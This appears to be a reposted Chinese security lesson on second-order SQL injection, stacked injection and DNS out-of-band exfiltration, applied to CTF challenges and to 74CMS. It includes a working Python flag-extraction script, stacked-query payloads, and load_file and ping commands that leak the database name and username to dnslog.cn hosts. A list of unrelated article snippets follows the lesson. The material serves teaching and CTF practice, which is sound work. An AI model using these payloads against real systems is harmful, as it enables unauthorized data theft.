小迪安全30WEB 攻防-通用漏洞SQL 注入CTF二次堆叠DNS 带外

#知识点: 

1、数据库堆叠注入 

根据数据库类型决定是否支持多条语句执行 

2、数据库二次注入 

应用功能逻辑涉及上导致的先写入后组合的注入 

3、数据库 Dnslog 注入 

解决不回显(反向连接),SQL 注入,命令执行,SSRF 等 

4、黑盒模式分析以上 

二次注入:插入后调用显示操作符合 

堆叠注入:判断注入后直接调多条执行 

DNS 注入:在注入上没太大利用价值,其他还行

 

 

 

#二次注入-74CMS&网鼎杯 2018Unfinish 

c0074ca66fb941b1b63c02dc068eb095.png

 比如:找回密码功能:

得到你的用户名(你找回谁的密码)

        进入用户名绕过,网站进入找回密码的验证阶段(网站记录知道你是谁了)

       接受获取你的用户名,修改密码update

 

但如果在注册用户名时,写了一个SQL注入的语句

        则当进行修改密码时,会对用户名进行调用

            即:update user set password=’xiaodi’ where username=’SQL注入代码’

        从而形成注入点

        

CTF-[网鼎杯 2018]Unfinish-黑盒 

先进入register.php页面

c7e9eb4fac124b10b53d60fbe5e448e6.png

 通过注册完账号后,进行账号登录,此时发现我们的用户名被调用了,这时就可以估计此注入点是二次注入

 

分析:

注册用户:添加insert

        Insert into user(email,username,password) value(‘3178151661245@qq.com’,’AT’,’123456’)

 

登录:用的email和password

进入用户中心:用用户名进行显示

Select username from user where email=’31781511245@qq.com’

那么此时我往username这个地方开始注册时就注入了SQL注入,那么此时显示出来的就是我SQL注入来的地方

9f8ded467511482ea4b53c1700698144.png

 我们这里使用.py进行制造payload

 

import requests

from bs4 import BeautifulSoup

import time 

 

 

url = 'http://d1e19434-4122-4e6e-9aa4-7e31af7022f4.node5.buuoj.cn:81/'

 

m = ''

for i in range(100):

    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)  

    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}

    login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}

    req = requests.session()

    r1 = req.post(url+'register.php',data = register)

    r2 = req.post(url+'login.php', data = login)

    r3 = req.post(url+'index.php')

    html = r3.text

    soup = BeautifulSoup(html,'html.parser')

    UserName = soup.span.string.strip()

    if int(UserName) == 0:

        break

    m += chr(int(UserName))

    print(m)

    time.sleep(1)

 

2b6de753b4ee4d0aa27aa935baafcb69.png

 CMS-74CMS 个人会员中心-黑白盒 

黑盒:

对学校名称进行注入

3c6373282c654041898ab90d0e6fc427.png

 我们并没有填入学校地址,但输入了学校的名字,然后地址就会跟着学校名字一起出来,形成二次注入

xiaodi',address=user()#

即insert address value (‘xiaodi’,address=user#)

 

白盒:

根据修改内容抓包,发现对应函数save_resuma_education_edit中的SQL查询语句

ef16ae48b8434bbfa613f360bd2c5cea.png

 抓学校地址该网页的包,并进行查看其相关函数 make4_save

5fac07285c09476f90b17eb4234689cc.png

 发现有SQL语句——insert:会把修改的内容插入到数据库的相关位置

3f4d2ac2a4cd4fd68a33a92698a0fb25.png

065c0e2d6e66445bbaee7988c0538bc0.png 

 对其SQL语句进行监听

24eb177c1abc4f19b015ca16ca23d329.png

cf98e6c6440547aaab8a9f0636546ecd.png 

 #堆叠注入-数据库类型&强网杯 2019 随便注

 

根据数据库类型决定是否支持多条语句执行 这里与联合查询是有区别的;

如select * from news where id=1;create table xioadi like news;

支持堆叠数据库类型:MYSQL MSSQL Postgresql 等 

一般的,代码上和数据库上的堆叠操作权限是不一样的,如果代码上允许堆叠,那数据库上一定可以,如果代码上不行,数据库也可以进行堆叠

 

过滤规则,select是被过滤的,还有一些注入常用语句也被过滤了,此时可考虑堆叠注入

 

参考:https://www.cnblogs.com/Timesi/p/11426348.html

';show databases; 

';show tables; 

';show columns from `1919810931114514`; 

';select flag from `1919810931114514`; 

';SeT 

@a=0x73656c656374202a2066726f6d2060313931393831303933313131343531 

3460;prepare execsql from @a;execute execsql; 

 

 

#DNS 利用-平台介绍&SQL 注入&命令执行等 

DNS注入原理:让服务器自己去访问网页的地址,通过网络的参数去让对方进行执行,并回显到DNS上

 

基本只针对于MYSQL——load_file

 

1.平台 

http://www.dnslog.cn 

http://admin.dnslog.link 

http://ceye.io 

2.应用场景: 

解决不回显,反向连接,SQL 注入,命令执行,SSRF 等 

SQL 注入: 

select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa')); 

and (select load_file(concat('//',(select 

database()),'.69knl9.dnslog.cn/abc'))) 

命令执行: 

ping %USERNAME%.7logee.dnslog.cn 

接受的主机的username

089407d7f78149128322b9beb9f592b9.png

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/701398.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

创作纪念日:记录我的成长与收获

机缘 一开始是在我深入学习前端知识的Vue.js框架遇到了一个问题,怎么都解决不了,心烦意乱地来csdn上找解决方法。开心的是真被我找到了,真的很感恩,也意识到在这个平台上分享自己的经验是多么有意义的事情,可能随便的…

BRIA.AI开源最强AI一键抠图模型RMBG,超简上手体验

本文首发: AIWalker 欢迎关注AIWalker,近距离接触底层视觉与基础AI技术 近日,BRIA.AI团队于HuggingFace开源了一个基于ISNet背景移除模型RMBG-1.4,它可以有效对前景与背景进行分离。RMBG-1.4在精心构建的数据集上训练而来,该数据包…

django rest framework 学习笔记-实战商城

01项目环境搭建_哔哩哔哩_bilibili 本博客借鉴至大佬的视频学习笔记 # 创建项目 django-admin startproject MyShop# 创建app E:\desktop\my_drf\MyShop>django-admin startapp goodsE:\desktop\my_drf\MyShop>django-admin startapp orderE:\desktop\my_drf\MyShop>…

C++ //练习 8.2 测试函数,调用参数为cin。

C Primer(第5版) 练习 8.2 练习 8.2 测试函数,调用参数为cin。 环境:Linux Ubuntu(云服务器) 工具:vim 代码块见练习8.1 /**************************************************************…

代码随想录|day 23

Day 23 一、回溯 二、代码 216. 组合总和 III - 力扣&#xff08;LeetCode&#xff09; class Solution { private:vector<int>path;vector<vector<int>>result;void backtracing(int sum,int k,int n,int startindex){//中止条件if(path.size()k){if(sum…

three.js第一个3D案例

在正式学习Three.js之前&#xff0c;先做一些必要的准备工作&#xff0c;具体说就是下载threejs官方文件包&#xff0c;threejs官方文件包提供了很多有用的学习资源。 threejs官方文件包所有版本&#xff1a;https://github.com/mrdoob/three.js/releases threejs文件资源目录…

桥接模式:解耦抽象与实现,实现灵活多变的扩展结构

文章目录 一、引言二、应用场景与技术背景三、模式定义与实现四、实例详解五、优缺点分析总结&#xff1a; 一、引言 ​ 桥接模式是一种结构型设计模式&#xff0c;它将抽象部分与它的实现部分分离&#xff0c;使它们可以独立变化。这种模式通过创建一个抽象层和实现层的结构&…

Android RecyclerView 如何展示自定义列表 Kotlin

Android RecyclerView 如何展示自定义列表 Kotlin 一、前提 有这么一个对象 class DeviceDemo (val name: String, val type: String, val address: String)要展示一个包含这个对象的列表 bluetoothDevices.add(DeviceDemo("bb 9800", "LE", "32:…

Sublime Text4配置C#运行环境

这里写自定义目录标题 前言部署.NET环境Sublime Text4配置C#编译环境1. 下载插件 运行测试 前言 今天把家里的9年前的远古神机搬了出来&#xff0c;重装了个win7的精简版&#xff0c;本打算装个VScode测试一下是否能写C#代码&#xff0c;结果是可以的&#xff0c;但&#xff0…

Qt 设置隐式加载dll路径

在c++中DLL的加载方式有两种,显式加载和隐式加载。 隐式加载 在程序从开始运行时,就会按照系统中一定的搜索路径,寻找动态库,找到就自动加载它,才能成功运行程序,这些步骤,是系统自动完成的。 显示加载 我们对动态库的调用,是在代码中直接使用LoadLibrary,或其他加载函…

基于springboot+vue的大型商场应急预案管理系统(前后端分离)

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战&#xff0c;欢迎高校老师\讲师\同行交流合作 ​主要内容&#xff1a;毕业设计(Javaweb项目|小程序|Pyt…

Flask基础学习3

参考视频&#xff1a;41-【实战】答案列表的渲染_哔哩哔哩_bilibili flask 实现发送短信功能 pip install flask-mail # 安装依赖 我这里用登录的网易邮箱获取的授权码&#xff08;登录QQ邮箱的授权码总是断开收不到邮件&#xff09;&#xff0c; # config # config mail MAI…

【智能车入门:pcb版】(蓝牙遥控、超声波避障、红外循迹)

实现最简单的蓝牙遥控、超声波避障、红外循迹&#xff09; 总览项目获取 本篇是对 上一篇博客的改进&#xff0c;上一篇博客使用面包板&#xff0c;看起来很乱&#xff0c;春节结束之后嘉立创免费打板恢复&#xff0c;板子到了之后进行焊接测试&#xff0c;相较于使用面包板&a…

神经网络系列---激活函数

文章目录 激活函数Sigmoid 激活函数Tanh激活函数ReLU激活函数Leaky ReLU激活函数Parametric ReLU激活函数 &#xff08;自适应Leaky ReLU激活函数&#xff09;ELU激活函数SeLU激活函数Softmax 激活函数Swish 激活函数Maxout激活函数Softplus激活函数 激活函数 一般来说&#xf…

Python入门必学:单引号、双引号与三引号的差异与应用

Python入门必学&#xff1a;单引号、双引号与三引号的差异与应用 &#x1f308; 个人主页&#xff1a;高斯小哥 &#x1f525; 高质量专栏&#xff1a;Matplotlib之旅&#xff1a;零基础精通数据可视化、Python基础【高质量合集】、PyTorch零基础入门教程 &#x1f448; 希望得…

UE蓝图 函数调用(CallFunction)节点和源码

系列文章目录 UE蓝图 Get节点和源码 UE蓝图 Set节点和源码 UE蓝图 Cast节点和源码 UE蓝图 分支(Branch)节点和源码 UE蓝图 入口(FunctionEntry)节点和源码 UE蓝图 返回结果(FunctionResult)节点和源码 UE蓝图 函数调用(CallFunction)节点和源码 文章目录 系列文章目录一、Call…

Android14之input高级调试技巧(一百八十八)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

【GPTs分享】GPTs分享之consensus

大家好&#xff0c;元宵节快乐&#xff0c;今天给大家分享的GPTs是consensus。consensu号称无需关键字即可搜索2亿文章&#xff0c;而且给出的链接绝对保真&#xff0c;不再是胡编乱造的&#xff0c;而且能够根据指定主题辅助编写论文或者博客。 简介 consensus使用chat.cons…

SQL-Labs靶场“46-50”关通关教程

君衍. 一、四十六关 ORDER BY数字型注入1、源码分析2、rand()盲注3、if语句盲注4、时间盲注5、报错注入6、Limit注入 二、四十七关 ORDER BY单引号报错注入1、源码分析2、报错注入3、时间盲注 三、四十八关 ODRER BY数字型盲注1、源码分析2、rand()盲注3、if语句盲注4、时间盲注…

东方博宜 1518. 多项式求和

东方博宜 1518. 多项式求和 #include<iostream> using namespace std ; int main() {int n ;cin >> n ;int s 0 ;int m 1 ;for(int i 1 ; i < n ; i){ int n 1 ;for( int j 1 ; j < i ; j)n n*j ;s s n*m ;m m*(-1) ;}cout << s ;return 0 ;…